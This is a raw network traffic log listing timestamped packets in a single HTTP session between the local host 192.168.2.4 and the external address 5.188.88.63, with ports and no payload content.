Sep 7, 2021 16:02:57.040447950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043055058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043073893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043086052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043104887 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043140888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043147087 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.043159008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043174982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043176889 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.043190956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043203115 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.043206930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043221951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043231964 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.043256044 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.043680906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043735027 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.043808937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043884039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043900967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043916941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043936014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043948889 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.043953896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043968916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043972969 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.043986082 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.043996096 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044002056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044018030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044034004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044037104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044049978 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044064999 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044069052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044085979 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044095039 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044102907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044120073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044136047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044140100 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044151068 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044164896 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044167995 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044183969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044193029 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044202089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044218063 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044219971 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044234991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044250965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044260979 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044266939 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044281960 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044287920 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044294119 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044311047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044327021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044333935 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044357061 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044764996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044781923 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044801950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044826984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044842958 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044843912 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044863939 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044877052 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044881105 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044897079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044913054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.044913054 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044944048 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.044970989 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.047200918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.047221899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.047272921 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.056920052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.056953907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.057030916 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.063283920 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.068120956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.068160057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.068205118 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.070367098 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.094737053 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.094773054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.094800949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.094839096 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.094865084 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.094960928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.094985008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.095006943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.095027924 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.095032930 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.095052958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.095062971 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.096496105 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.096530914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.096594095 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.105249882 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.105288982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.105360031 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.107067108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.107101917 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.107147932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.107165098 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.107176065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.107189894 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.107351065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.107379913 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.107425928 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.107669115 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.107696056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.107717991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.107722044 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.107744932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.107769012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.107980013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.108006001 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.108032942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.108053923 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.108056068 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.108083963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.108093023 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.108110905 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.108134031 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.111071110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111097097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111133099 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.111135006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111176014 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.111355066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111380100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111402988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111428022 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111440897 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.111450911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111474991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111479044 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.111499071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111511946 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.111524105 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111551046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.111562014 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.112960100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.112983942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113003016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113023996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113044977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113049030 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113069057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113091946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113105059 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113117933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113138914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113162041 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113184929 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113205910 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113209009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113209963 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113231897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113249063 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113257885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113281965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113296032 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113322020 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113571882 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113600016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113622904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113648891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113651991 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113672018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113692999 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113696098 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113717079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113739014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113759995 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113780975 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113781929 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113804102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113828897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113857985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113859892 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113871098 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113881111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113905907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113918066 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.113929987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113950968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113975048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.113976002 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.114000082 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.114023924 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.114025116 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.114048958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.114073038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.114079952 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.114099979 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.114136934 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.114902973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.114928961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.114959002 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.122598886 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.122678995 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.122783899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.136866093 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.136902094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.136945009 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.137365103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.137397051 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.137428045 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.141248941 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.159390926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.159657001 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.159720898 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.159948111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.159975052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.160001040 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.160204887 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.160233021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.160255909 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.160809040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.160862923 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.162836075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.169785976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.169810057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.169833899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.169861078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.169868946 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.169897079 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.172465086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.172496080 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.172518015 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.172534943 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.172539949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.172573090 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.172689915 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.172718048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.172730923 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.176467896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176502943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176527023 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176548958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176572084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176601887 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.176611900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176630974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176631927 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.176650047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176672935 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176688910 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.176696062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176713943 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.176723003 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176748037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176770926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176795006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176799059 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.176826000 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176846981 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.176850080 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176876068 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176882982 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.176898003 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176919937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.176923037 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.176971912 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.177000046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.177022934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.177045107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.177084923 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.177925110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.177958012 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.177992105 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178015947 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178040028 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178061008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178061962 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178107023 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178107023 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178131104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178153038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178174973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178179026 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178198099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178220034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178224087 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178244114 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178270102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178273916 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178292990 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178313971 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178316116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178338051 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178361893 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178745031 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178771973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178796053 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178801060 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178818941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178838968 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178843021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178864956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178888083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178909063 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178910017 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178930998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178956985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.178961039 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.178992987 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.179136038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179160118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179182053 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179191113 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.179203987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179225922 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179233074 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.179249048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179270983 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179277897 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.179296017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179317951 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.179378986 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179404020 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179426908 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.179426908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179452896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179469109 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.179780006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179805040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.179862022 CEST	49763	80	192.168.2.4	5.188.88.63
